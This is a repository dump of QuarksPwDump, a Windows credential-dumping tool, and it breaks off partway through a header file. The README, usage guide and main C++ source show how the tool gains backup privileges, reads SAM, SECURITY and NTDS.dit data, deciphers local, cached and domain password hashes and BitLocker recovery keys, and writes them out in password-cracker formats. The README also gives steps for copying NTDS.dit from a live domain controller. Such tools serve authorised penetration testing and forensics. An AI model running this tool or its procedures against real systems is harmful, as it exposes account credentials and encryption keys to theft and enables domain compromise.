├── CHANGELOG.txt ├── MAKE.txt ├── QuarksADDumper.sln ├── README.md ├── README.txt └── src ├── QuarksADDumper.vcxproj ├── QuarksADDumper.vcxproj.filters ├── QuarksADDumper.vcxproj.user ├── QuarksPwDump.cpp ├── QuarksPwDump.rc ├── app_icon.ico ├── common.h ├── crypt.cpp ├── crypt.h ├── globals.h ├── include └── openssl │ ├── aes.h │ ├── asn1.h │ ├── bio.h │ ├── bn.h │ ├── crypto.h │ ├── des.h │ ├── des_old.h │ ├── e_os2.h │ ├── evp.h │ ├── hmac.h │ ├── md5.h │ ├── obj_mac.h │ ├── objects.h │ ├── opensslconf.h │ ├── opensslv.h │ ├── ossl_typ.h │ ├── rc4.h │ ├── safestack.h │ ├── sha.h │ ├── stack.h │ ├── symhacks.h │ ├── ui.h │ └── ui_compat.h ├── lib └── libeay32MT.lib ├── ntdsparser.cpp ├── ntdsparser.h ├── samparser.cpp ├── samparser.h ├── utils.cpp └── utils.h /CHANGELOG.txt: -------------------------------------------------------------------------------- 1 | ________ __ __________ ________ 2 | \_____ \ __ __ _____ _______ | | __ ______\______ \__ _ __\______ \ __ __ _____ ______ 3 | / / \ \ | | \\__ \ \_ __ \| |/ / / ___/ | ___/\ \/ \/ / | | \ | | \ / \ \____ \ 4 | / \_/. \| | / / __ \_| | \/| < \___ \ | | \ / | ` \| | /| Y Y \| |_> > 5 | \_____\ \_/|____/ (____ /|__| |__|_ \/____ > |____| \/\_/ /_______ /|____/ |__|_| /| __/ 6 | \__> \/ \/ \/ \/ \/ |__| 7 | v0.2b -<(QuarksLab)>- 8 | 9 | CHANGELOG 10 | 11 | v0.2 - XX-05-2012 12 | ----------------- 13 | - Short command flags are available, check README.txt 14 | - NTDS.dit file could be specified at any position but -nt flag must be used now 15 | - README updated for ntds.dit backup on Win 2003 operating systems 16 | 17 | v0.1b - 14-05-2012 18 | ------------------ 19 | - Initial release 20 | - Local account + history dump 21 | - Cached domain hash dump 22 | - NTDS Domain hashes dump 23 | - NTDS Bitlocker information dump 24 | -------------------------------------------------------------------------------- /MAKE.txt: -------------------------------------------------------------------------------- 1 | ________ __ __________ ________ 2 | \_____ \ __ __ _____ _______ | | __ ______\______ \__ _ __\______ \ __ __ _____ ______ 3 | / / \ \ | | \\__ \ \_ __ \| |/ / / ___/ | ___/\ \/ \/ / | | \ | | \ / \ \____ \ 4 | / \_/. \| | / / __ \_| | \/| < \___ \ | | \ / | ` \| | /| Y Y \| |_> > 5 | \_____\ \_/|____/ (____ /|__| |__|_ \/____ > |____| \/\_/ /_______ /|____/ |__|_| /| __/ 6 | \__> \/ \/ \/ \/ \/ |__| 7 | v0.1b -<(QuarksLab)>- 8 | 9 | BUILD 10 | 11 | Project has been compiled with Visual Studion 2010. 12 | It is statically linked with libeay32MT.lib (OpenSSL) for cryptographic functions. 13 | 14 | Here is the main API organization: 15 | 16 | QuarksPwDump.cpp: Entry point 17 | - crypt.cpp/.h: NT/LM hashes deciphering 18 | - ntdsparser.cpp/.h: NTDS.dit file parser with Microsoft JET/ESE API 19 | - samparser.cpp/.h: SAM and SECURITY registry hives parser 20 | - utils.cpp/.h: Various utils functions, text dump, linked-lists handling,... 21 | - globals.h: global vars 22 | 23 | 24 | It should compile without any problems on VS 2008 or 2010+ versions. 25 | 26 | Do not forget to use "Release" version, Debug one is not configured. -------------------------------------------------------------------------------- /QuarksADDumper.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "QuarksPwDump", "src\QuarksADDumper.vcxproj", "{E0362605-CC11-4CD5-AFF7-B50934438658}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {E0362605-CC11-4CD5-AFF7-B50934438658}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {E0362605-CC11-4CD5-AFF7-B50934438658}.Debug|Win32.Build.0 = Debug|Win32 14 | {E0362605-CC11-4CD5-AFF7-B50934438658}.Release|Win32.ActiveCfg = Release|Win32 15 | {E0362605-CC11-4CD5-AFF7-B50934438658}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | quarkspwdump 2 | ============ 3 | 4 | Dump various types of Windows credentials without injecting in any process. -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | ________ __ __________ ________ 2 | \_____ \ __ __ _____ _______ | | __ ______\______ \__ _ __\______ \ __ __ _____ ______ 3 | / / \ \ | | \\__ \ \_ __ \| |/ / / ___/ | ___/\ \/ \/ / | | \ | | \ / \ \____ \ 4 | / \_/. \| | / / __ \_| | \/| < \___ \ | | \ / | ` \| | /| Y Y \| |_> > 5 | \_____\ \_/|____/ (____ /|__| |__|_ \/____ > |____| \/\_/ /_______ /|____/ |__|_| /| __/ 6 | \__> \/ \/ \/ \/ \/ |__| 7 | v0.2b -<(QuarksLab)>- 8 | 9 | 10 | 0 / INTRO 11 | ========= 12 | 13 | Quarks PwDump is a native Win32 tool to extract credentials from Windows operating systems. 14 | 15 | It currently extracts : 16 | - Local accounts NT/LM hashes + history 17 | - Domain accounts NT/LM hashes + history 18 | - Cached domain password 19 | - Bitlocker recovery information (recovery passwords & key packages) 20 | 21 | Supported OS : XP/2003/Vista/7/2008/8 22 | 23 | Why another hash dumper? 24 | - No tools can actually dump all kind of hash, a combination of tools is always needed. 25 | - We encounter some rare crash with libesedb library and some NTDS.dit files. 26 | - We think it's safer to directly use Microsoft JET/ESE API for parsing databases originally 27 | built with same functions. 28 | - Bitlocker case is added even if some specific Microsoft tools could be used to dump those information. 29 | (Active Directory addon or VBS scripts) 30 | 31 | We would like to greet NTDS hash dump (Csaba Barta) and creddump author for their excellent work. 32 | 33 | Also it is still in beta test. 34 | 35 | 36 | 1 / USAGE 37 | ========= 38 | 39 | Here it is how you can use Quarks PWDump: 40 | 41 | quarks-pwdump.exe 42 | Options : 43 | -dhl --dump-hash-local 44 | -dhdc --dump-hash-domain-cached 45 | -dhd --dump-hash-domain (NTDS_FILE must be specified) 46 | -db --dump-bitlocker (NTDS_FILE must be specified) 47 | -nt --ntds-file FILE 48 | -hist --with-history (optional) 49 | -t --output-type JOHN/LC (optional, if no=>JOHN) 50 | -o --output FILE (optional, if no=>stdout) 51 | Example: quarks-pwdump.exe --dump-hash-domain --with-history 52 | 53 | Dump options must be user all at once. 54 | In all cases, the tool must be executed on the targeted operating system. 55 | 56 | Do not forget to always put NTDS.dit filepath at the end of the command line for involved options. 57 | 58 | Some command examples: 59 | 60 | - Dump domain hashes from NTDS.dit with its history 61 | #quarks-pwdump.exe --dump-hash-domain --with-history 62 | 63 | - Dump local account hashes to LC format 64 | #quarks-pwdump.exe --dump-hash-local --output-type LC 65 | 66 | - Dump domain hashes from NTDS.dit with its history 67 | #quarks-pwdump.exe --dump-bitlocker --output c:\bitlocker.txt --ntds-file c:\ntds.dit 68 | 69 | All features require administrator privileges. 70 | 71 | 72 | 2 / TECHNICAL APPROACH 73 | ====================== 74 | 75 | - Bitlocker and domain accounts information are extracted offline from NTDS.dit 76 | (see next section for NTDS file recovery) 77 | Everything must be done on domain controller. No code injection or service installation. 78 | It's not currently full offline dump cause Quarks PwDump is dynamically linked with ESENT.dll 79 | which differs between Windows version. For example, it's not possible to parse Win 2008 ntds.dit 80 | file from XP. 81 | 82 | - For Bitlocker case, Quarks PwDump can retrieve these information : 83 | * Recovery password: it's a 48-digits passphrase which allow a user to mount its partition if 84 | password has been lost. This password can be user in Bitlocker recovery console. 85 | * Key Package : it's a binary keyfile which allow an user to decipher data on a damaged disk or 86 | partition. It can be used with Microsoft tools, especially Bitlocker Repair Tool. 87 | 88 | For each entry found in NTDS.dit, Quarks PwDump show recovery password to STDOUT and keyfiles 89 | (key packages) are stored to separate files for each recovery GUID. 90 | {GUID_1}.pk, {GUID_2}.pk,... 91 | 92 | - Local account and cached information are extracted live from SAM and SECURITY hive in a proper 93 | way without code injection/service. In fact, we use native registry API, especially RegSaveKey() and 94 | RegLoadKey() function which require BACKUP and RESTORE privileges. Next we mount SAM/REGISTRY hives 95 | on a diffrent mount point and change all keys ACL in order to extend privileges to Administrator 96 | group and not LocalSystem only. 97 | That's why we choose to work on a backup to preserve system integrity. 98 | 99 | 100 | 3 / NOTES ON NTDS.DIT PARSING 101 | ============================= 102 | 103 | 1. Windows 2008 104 | 105 | Microsoft recently implements VSS (Volume Shadow Copy Service) which allow an administrator to make 106 | filesystem snapshots while the operating is running and writing to current backuped files. 107 | 108 | Here is a way to backup NTDS.dit file while a domain controller is running: 109 | 110 | #ntdsutil 111 | #snapshot 112 | #activate instance ntds 113 | #create 114 | #mount {GUID} 115 | #copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit 116 | #unmount {GUID} 117 | #quit 118 | #quit 119 | 120 | If AD server hasn't the "AD DS role", you have to use dsdbutil.exe command in the same way. 121 | 122 | 123 | 2. Windows 2003 124 | 125 | On this version, VSS has been implemented but not NTDS-type snapshots. 126 | But you can use ntbackup tool, here is the procedure: 127 | 128 | - Launch NTBACKUP gui 129 | - Use backup wizard (advanced) 130 | - Choose to save system state only and choose output filename 131 | - Wait some minutes 132 | - Use restore wizard (advanced) 133 | - Choise your backup, click next and use advanced button 134 | - Choose to restore file on another location (c:\tmp\ for example) 135 | - Choose to overwrite everything and next uncheck all restoration parameters 136 | - Validate and wait some minutes 137 | - Open a command shell to "c:\tmp\Active Directory" 138 | - We need to repair the database with this command 139 | #esentutl /p ntds.dit 140 | - Validate warning and wait some minutes 141 | 142 | ntds.dit file can now be used with quarkspwdump. 143 | 144 | 145 | 146 | 4 / TODO & ROAD MAP 147 | =================== 148 | 149 | - Clean code, especially local account history dump 150 | - Make NTDS parsing system independant (esent.dll) 151 | - Use VSS COMM API to directly copy NTDS.dit file from our tool 152 | - Make tests on more environments with different configuration (NTLM storage GP, history size...) 153 | - Parsing specific Bitlocker TPM owner information in NTDS.dit 154 | - Make the tool working full offline (from mounted image disk for example) 155 | 156 | 157 | contact@quarkslab.com 158 | -------------------------------------------------------------------------------- /src/QuarksADDumper.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {E0362605-CC11-4CD5-AFF7-B50934438658} 15 | Win32Proj 16 | QuarksADDumper 17 | QuarksPwDump 18 | 19 | 20 | 21 | Application 22 | true 23 | MultiByte 24 | 25 | 26 | Application 27 | false 28 | true 29 | MultiByte 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | true 43 | 44 | 45 | false 46 | false 47 | 48 | 49 | 50 | 51 | 52 | Level3 53 | Disabled 54 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 55 | MultiThreaded 56 | .\include\ 57 | 58 | 59 | Console 60 | true 61 | kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;ESENT.lib;%(AdditionalDependencies) 62 | 63 | 64 | 65 | 66 | Level3 67 | 68 | 69 | Disabled 70 | true 71 | true 72 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 73 | false 74 | MultiThreaded 75 | .\include\ 76 | 77 | 78 | Console 79 | false 80 | true 81 | true 82 | Default 83 | kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;ESENT.lib;%(AdditionalDependencies) 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | -------------------------------------------------------------------------------- /src/QuarksADDumper.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files 38 | 39 | 40 | Header Files 41 | 42 | 43 | 44 | 45 | Source Files 46 | 47 | 48 | Source Files 49 | 50 | 51 | Source Files 52 | 53 | 54 | Source Files 55 | 56 | 57 | Source Files 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | Resource Files 66 | 67 | 68 | -------------------------------------------------------------------------------- /src/QuarksADDumper.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /src/QuarksPwDump.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "ntdsparser.h" 3 | #include "samparser.h" 4 | #include "crypt.h" 5 | #include "globals.h" 6 | 7 | 8 | 9 | /* 10 | * Show banner 11 | */ 12 | void PrintBanner() { 13 | puts(APP_BANNER); 14 | } 15 | 16 | 17 | /* 18 | * Show usage 19 | */ 20 | void PrintUsage() { 21 | puts(APP_USAGE); 22 | } 23 | 24 | 25 | /* 26 | * Resiez current windows console 27 | * for nice outputs :) 28 | */ 29 | void ResizeConsole() { 30 | HANDLE hConOut; 31 | COORD newSBSize; 32 | SMALL_RECT conRect; 33 | 34 | system("cls"); 35 | SetConsoleTitle(APP_TITLE); 36 | MoveWindow(GetConsoleWindow(),0,0,0,0,true); 37 | hConOut = GetStdHandle(STD_OUTPUT_HANDLE); 38 | 39 | newSBSize.X = 115; 40 | newSBSize.Y = 5000; 41 | SetConsoleScreenBufferSize(hConOut,newSBSize); 42 | conRect.Top = 0; 43 | conRect.Left = 0; 44 | conRect.Right = newSBSize.X-1; 45 | conRect.Bottom = 35; 46 | SetConsoleWindowInfo(hConOut,TRUE,&conRect); 47 | 48 | system("Color 1F"); 49 | } 50 | 51 | 52 | /* 53 | * Parse command line for command options 54 | */ 55 | BOOL ParseCommandLine(int argc, TCHAR* argv[]) { 56 | BOOL has_ntds = FALSE; 57 | 58 | if(argc<2) 59 | return FALSE; 60 | 61 | /* Parse */ 62 | for (int i = 1; i < argc; i++) { 63 | if((!strcmp(argv[i],"--dump-hash-local")) || (!strcmp(argv[i],"-dhl"))) 64 | OPT_DUMP_HASH_LOCAL = TRUE; 65 | else if((!strcmp(argv[i],"--dump-hash-domain-cached")) || (!strcmp(argv[i],"-dhdc"))) 66 | OPT_DUMP_HASH_DOMAIN_CACHED = TRUE; 67 | else if((!strcmp(argv[i],"--dump-hash-domain")) || (!strcmp(argv[i],"-dhd"))) 68 | OPT_DUMP_HASH_DOMAIN = TRUE; 69 | else if((!strcmp(argv[i],"--dump-bitlocker")) || (!strcmp(argv[i],"-db"))) 70 | OPT_DUMP_BITLOCKER = TRUE; 71 | else if((!strcmp(argv[i],"--with-history")) || (!strcmp(argv[i],"-hist"))) 72 | OPT_WITH_HISTORY = TRUE; 73 | else if((!strcmp(argv[i],"--output-type")) || (!strcmp(argv[i],"-t"))){ 74 | if((i+1) < argc) { 75 | if(!lstrcmp(argv[i+1],"LC")) 76 | OPT_NT_DUMP_TYPE = NTDUMP_LC; 77 | else if(!lstrcmp(argv[i+1],"JOHN")) 78 | OPT_NT_DUMP_TYPE = NTDUMP_JOHN; 79 | i++; 80 | } 81 | else 82 | return FALSE; 83 | } 84 | else if((!strcmp(argv[i],"--ntds-file")) || (!strcmp(argv[i],"-nt"))){ 85 | if((i+1) < argc) { 86 | lstrcpyn(OPT_NTDS_FILENAME,argv[i+1],MAX_PATH); 87 | i++; 88 | has_ntds = TRUE; 89 | } 90 | else 91 | return FALSE; 92 | } 93 | else if((!strcmp(argv[i],"--output")) || (!strcmp(argv[i],"-o"))){ 94 | if((i+1) < argc) { 95 | lstrcpyn(OPT_OUTPUT_FILENAME,argv[i+1],MAX_PATH); 96 | OPT_OUT_STDOUT = FALSE; 97 | i++; 98 | } 99 | else 100 | return FALSE; 101 | } 102 | } 103 | 104 | /* Something choosed ? */ 105 | if(!(OPT_DUMP_HASH_LOCAL || OPT_DUMP_HASH_DOMAIN_CACHED || OPT_DUMP_HASH_DOMAIN || OPT_DUMP_BITLOCKER)) 106 | return FALSE; 107 | 108 | /* Check for conflicts */ 109 | if(OPT_DUMP_HASH_LOCAL && OPT_DUMP_HASH_DOMAIN_CACHED && OPT_DUMP_HASH_DOMAIN && OPT_DUMP_BITLOCKER) 110 | return FALSE; 111 | 112 | if(OPT_DUMP_HASH_LOCAL && (OPT_DUMP_HASH_DOMAIN_CACHED || OPT_DUMP_HASH_DOMAIN || OPT_DUMP_BITLOCKER)) 113 | return FALSE; 114 | 115 | if(OPT_DUMP_HASH_DOMAIN_CACHED && (OPT_DUMP_HASH_LOCAL || OPT_DUMP_HASH_DOMAIN || OPT_DUMP_BITLOCKER)) 116 | return FALSE; 117 | 118 | if(OPT_DUMP_HASH_DOMAIN && (OPT_DUMP_HASH_DOMAIN_CACHED || OPT_DUMP_HASH_LOCAL || OPT_DUMP_BITLOCKER)) 119 | return FALSE; 120 | 121 | if(OPT_DUMP_BITLOCKER && (OPT_DUMP_HASH_DOMAIN_CACHED || OPT_DUMP_HASH_DOMAIN || OPT_DUMP_HASH_LOCAL)) 122 | return FALSE; 123 | 124 | if((OPT_DUMP_HASH_DOMAIN || OPT_DUMP_BITLOCKER) && !has_ntds) 125 | return FALSE; 126 | 127 | return TRUE; 128 | } 129 | 130 | 131 | /* 132 | * Actions dispatcher 133 | * Returns: 134 | * TRUE if somethin has been successfully treated 135 | * FALSE otherwise 136 | */ 137 | BOOL CommandDispatcher() { 138 | s_parser parser; 139 | int ret_code; 140 | 141 | /* Get SYSKEY (for domain hash dump only) */ 142 | if(OPT_DUMP_HASH_DOMAIN || OPT_DUMP_HASH_DOMAIN_CACHED) { 143 | printf("[+] SYSKEY restrieving..."); 144 | ret_code = CRYPT_SyskeyGetValue(&SYSKEY); 145 | if(ret_code==SYSKEY_SUCCESS) { 146 | puts("[OK]"); 147 | SYSKEY_Dump(&SYSKEY); 148 | } 149 | else { 150 | if(ret_code==SYSKEY_REGISTRY_ERROR) 151 | puts("[ERR] Registry error, are you admin?"); 152 | else 153 | puts("[ERR] SYSKEY is not stored locally, not supported yet"); 154 | return FALSE; 155 | } 156 | } 157 | 158 | /* Domain users hashes dump from NTDS.dit */ 159 | if(OPT_DUMP_HASH_DOMAIN) { 160 | 161 | printf("[+] Init JET engine..."); 162 | if(!NTDS_ParserInit(&parser)) { 163 | puts("[!] NTDS_ParserInit failed!"); 164 | return FALSE; 165 | } 166 | else{ 167 | puts("OK"); 168 | printf("[+] Open Database %s...",OPT_NTDS_FILENAME); 169 | if(!NTDS_OpenDatabase(&parser,OPT_NTDS_FILENAME)) { 170 | puts("[!] NTDS_OpenDatabase failed!"); 171 | NTDS_ParserClose(&parser); 172 | return FALSE; 173 | } 174 | else { 175 | puts("OK"); 176 | printf("[+] Parsing datatable..."); 177 | if(NTDS_NTLM_ParseDatabase(&parser,&ldapAccountDatabase,&PEK_ciphered,OPT_WITH_HISTORY)!=NTDS_SUCCESS) { 178 | puts("Fatal error, wrong file?"); 179 | if(NTDS_CloseDatabase(&parser)) 180 | NTDS_ParserClose(&parser); 181 | return FALSE; 182 | } 183 | puts("OK"); 184 | printf("[+] Processing PEK deciphering..."); 185 | CRYPT_Decipher_PEK(&PEK_ciphered,&SYSKEY,&PEK); 186 | puts("OK"); 187 | PEK_Dump(&PEK); 188 | 189 | printf("[+] Processing hashes deciphering..."); 190 | if(!CRYPT_NTDS_DecipherAllAccount(ldapAccountDatabase,&SYSKEY,&PEK)) 191 | puts("ERROR: nothing to decipher"); 192 | else { 193 | puts("OK"); 194 | NTDS_NTLM_DumpAll(ldapAccountDatabase,OPT_NT_DUMP_TYPE,OPT_OUT_STDOUT,OPT_OUTPUT_FILENAME); 195 | } 196 | 197 | if(ldapAccountDatabase) 198 | ldapAccountInfoFreeAll(ldapAccountDatabase); 199 | 200 | printf("[+] Close Database..."); 201 | if(NTDS_CloseDatabase(&parser)) { 202 | NTDS_ParserClose(&parser); 203 | puts("OK"); 204 | } 205 | } 206 | } 207 | } 208 | /* Local users hashes dump */ 209 | else if(OPT_DUMP_HASH_LOCAL) { 210 | printf("[+] Setting BACKUP and RESTORE privileges..."); 211 | if(!SetSeRestorePrivilege() || !SetSeBackupPrivilege()) { 212 | puts("ERROR: are you admin?"); 213 | return FALSE; 214 | } 215 | else { 216 | puts("[OK]"); 217 | printf("[+] Parsing SAM registry hive..."); 218 | ret_code = SAM_ParseLocalDatabase(&localAccountDatabase,&BOOTKEY_ciphered,OPT_WITH_HISTORY); 219 | if(ret_code==SAM_REG_ERROR) { 220 | puts("ERROR: Registry error"); 221 | return FALSE; 222 | } 223 | else if(ret_code==SAM_MOUNT_ERROR) { 224 | puts("ERROR: Can't mount previously saved SAM registry hive"); 225 | return FALSE; 226 | } 227 | else if(ret_code==SAM_MEM_ERROR) { 228 | puts("ERROR: Fatal, not enough memory!"); 229 | return FALSE; 230 | } 231 | else if(ret_code==SAM_NO_ACCOUNT) { 232 | puts("\n\nNo account found"); 233 | return FALSE; 234 | } 235 | else{ 236 | puts("[OK]"); 237 | 238 | printf("[+] BOOTKEY retrieving..."); 239 | ret_code = CRYPT_BootkeyGetValue(&BOOTKEY_ciphered,&BOOTKEY); 240 | if(ret_code==SYSKEY_SUCCESS) { 241 | puts("[OK]"); 242 | BOOTKEY_Dump(&BOOTKEY); 243 | CRYPT_SAM_DecipherAllLocalAccount(localAccountDatabase,&BOOTKEY); 244 | SAM_NTLM_DumpAll(localAccountDatabase,OPT_NT_DUMP_TYPE,OPT_OUT_STDOUT,OPT_OUTPUT_FILENAME); 245 | } 246 | else { 247 | if(ret_code==SYSKEY_REGISTRY_ERROR) 248 | puts("[ERR] Registry error, are you admin?"); 249 | else 250 | puts("[ERR] SYSKEY is not stored locally, not supported yet"); 251 | } 252 | } 253 | if(localAccountDatabase) 254 | localAccountInfoFreeAll(localAccountDatabase); 255 | } 256 | } 257 | /* Cached domain hashes dump */ 258 | else if(OPT_DUMP_HASH_DOMAIN_CACHED) { 259 | printf("[+] Setting BACKUP and RESTORE privileges..."); 260 | if(!SetSeRestorePrivilege() || !SetSeBackupPrivilege()) { 261 | puts("ERROR: are you admin?"); 262 | return FALSE; 263 | } 264 | else { 265 | puts("[OK]"); 266 | printf("[+] Parsing SECURITY registry hive..."); 267 | ret_code = SAM_ParseCachedDatabase(&cachedAccountDatabase,&LSAKEY_ciphered,&NLKM_ciphered); 268 | if(ret_code==SAM_REG_ERROR) { 269 | puts("ERROR: Registry error"); 270 | return FALSE; 271 | } 272 | else if(ret_code==SAM_MOUNT_ERROR) { 273 | puts("ERROR: Can't mount previously saved SAM registry hive"); 274 | return FALSE; 275 | } 276 | else if(ret_code==SAM_MEM_ERROR) { 277 | puts("ERROR: Fatal, not enough memory!"); 278 | return FALSE; 279 | } 280 | else { 281 | puts("[OK]"); 282 | printf("[+] LSAKEY(s) retrieving..."); 283 | if(CRYPT_LsakeyGetValue(&LSAKEY,&LSAKEY_ciphered,&SYSKEY)==LSAKEY_SUCCESS) { 284 | puts("[OK]"); 285 | LSAKEY_Dump(&LSAKEY); 286 | printf("[+] NLKM retrieving..."); 287 | if(CRYPT_NlkmGetValue(&NLKM,&NLKM_ciphered,&LSAKEY)==LSAKEY_SUCCESS) { 288 | puts("[OK]"); 289 | NLKM_Dump(&NLKM); 290 | if(CRYPT_SAM_DecipherAllCachedAccount(cachedAccountDatabase,&NLKM)==CRYPT_EMPTY_RECORD) 291 | puts("\nNo cached domain password found!"); 292 | else 293 | SAM_NTLM_Cached_DumpAll(cachedAccountDatabase,OPT_NT_DUMP_TYPE,OPT_OUT_STDOUT,OPT_OUTPUT_FILENAME); 294 | } 295 | } 296 | } 297 | if(cachedAccountDatabase) 298 | cachedAccountInfoFreeAll(cachedAccountDatabase); 299 | } 300 | } 301 | /* Bitlocker information extraction from NTDS.dit */ 302 | else if(OPT_DUMP_BITLOCKER) { 303 | printf("[+] Init JET engine..."); 304 | if(!NTDS_ParserInit(&parser)) { 305 | puts("[!] NTDS_ParserInit failed!"); 306 | return FALSE; 307 | } 308 | else{ 309 | puts("OK"); 310 | printf("[+] Open Database %s...",OPT_NTDS_FILENAME); 311 | if(!NTDS_OpenDatabase(&parser,OPT_NTDS_FILENAME)) { 312 | puts("[!] NTDS_OpenDatabase failed!"); 313 | NTDS_ParserClose(&parser); 314 | return FALSE; 315 | } 316 | else { 317 | puts("OK"); 318 | printf("[+] Parsing datatable..."); 319 | ret_code = NTDS_Bitlocker_ParseDatabase(&parser,&bitlockerAccountDatabase); 320 | if(ret_code==NTDS_SUCCESS) { 321 | puts("OK"); 322 | Bitlocker_DumpAll(bitlockerAccountDatabase,OPT_OUT_STDOUT,OPT_OUTPUT_FILENAME); 323 | } 324 | else 325 | puts("Error: bad file or no Bitlocker account there"); 326 | 327 | if(bitlockerAccountDatabase) 328 | bitlockerAccountInfoFreeAll(bitlockerAccountDatabase); 329 | 330 | printf("[+] Close Database..."); 331 | if(NTDS_CloseDatabase(&parser)) { 332 | NTDS_ParserClose(&parser); 333 | puts("OK"); 334 | } 335 | } 336 | } 337 | } 338 | 339 | return TRUE; 340 | } 341 | 342 | 343 | /* 344 | * Once upon a time... 345 | */ 346 | int main(int argc, TCHAR* argv[]) { 347 | BOOL status; 348 | 349 | /* Prepare console */ 350 | ResizeConsole(); 351 | setvbuf(stdout,NULL,_IONBF,0); 352 | PrintBanner(); 353 | 354 | /* Parse args/options */ 355 | if(!ParseCommandLine(argc,argv)) { 356 | PrintUsage(); 357 | return 1; 358 | } 359 | 360 | /* Execute user's desired actions */ 361 | status = CommandDispatcher(); 362 | 363 | puts("\n"); 364 | 365 | return status!=TRUE; 366 | } 367 | 368 | -------------------------------------------------------------------------------- /src/QuarksPwDump.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/quarkspwdump/c351658115aff960b170ac91f61a7324574d9a3d/src/QuarksPwDump.rc -------------------------------------------------------------------------------- /src/app_icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/quarkspwdump/c351658115aff960b170ac91f61a7324574d9a3d/src/app_icon.ico -------------------------------------------------------------------------------- /src/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define JET_VERSION 0x0501 9 | #include 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /src/crypt.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "utils.h" 12 | 13 | /* Crypt functions error codes */ 14 | #define CRYPT_SUCCESS 0 15 | #define CRYPT_MEM_ERROR -1 16 | #define CRYPT_EMPTY_RECORD -2 17 | 18 | #define SYSKEY_SUCCESS 0 19 | #define SYSKEY_REGISTRY_ERROR -1 20 | #define SYSKEY_METHOD_NOT_IMPL -2 21 | 22 | #define LSAKEY_SUCCESS 0 23 | #define LSAKEY_REGISTRY_ERROR -1 24 | 25 | 26 | /* Some cipher cste for local NTLM hashes deciphering */ 27 | #define SAM_QWERTY "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%" 28 | #define SAM_NUM "0123456789012345678901234567890123456789" 29 | #define SAM_LMPASS "LMPASSWORD" 30 | #define SAM_NTPASS "NTPASSWORD" 31 | #define SAM_LMPASS_HISTORY "LMPASSWORDHISTORY" 32 | #define SAM_NTPASS_HISTORY "NTPASSWORDHISTORY" 33 | 34 | 35 | /* 36 | * Common windows key structure 37 | * SYSKEY, BOOTKEY, LSAKEY, NL$KM 38 | */ 39 | #pragma pack(push) 40 | #pragma pack(1) 41 | typedef struct{ 42 | BYTE key[16]; 43 | }s_SYSKEY; 44 | 45 | typedef struct{ 46 | BYTE key[16]; 47 | }s_BOOTKEY; 48 | 49 | typedef struct{ 50 | BYTE F[240]; 51 | }s_BOOTKEY_ciphered; 52 | 53 | typedef struct{ 54 | BYTE key[16]; /* XP, 2003 only */ 55 | BYTE key_v2[32]; /* Vista, 7, 2008 only */ 56 | 57 | DWORD dwMajorVersion; /* OS identification */ 58 | }s_LSAKEY; 59 | typedef struct{ 60 | BYTE PolSecretEncryptionKey[76]; /* XP, 2003 only */ 61 | BYTE PolEKList[172]; /* Vista, 7, 2008 only */ 62 | 63 | DWORD dwMajorVersion; /* OS identification */ 64 | }s_LSAKEY_ciphered; 65 | 66 | typedef struct{ 67 | BYTE key[64]; /* XP, 2003 only */ 68 | BYTE key_v2[64]; /* Vista, 7, 2008 only */ 69 | 70 | DWORD 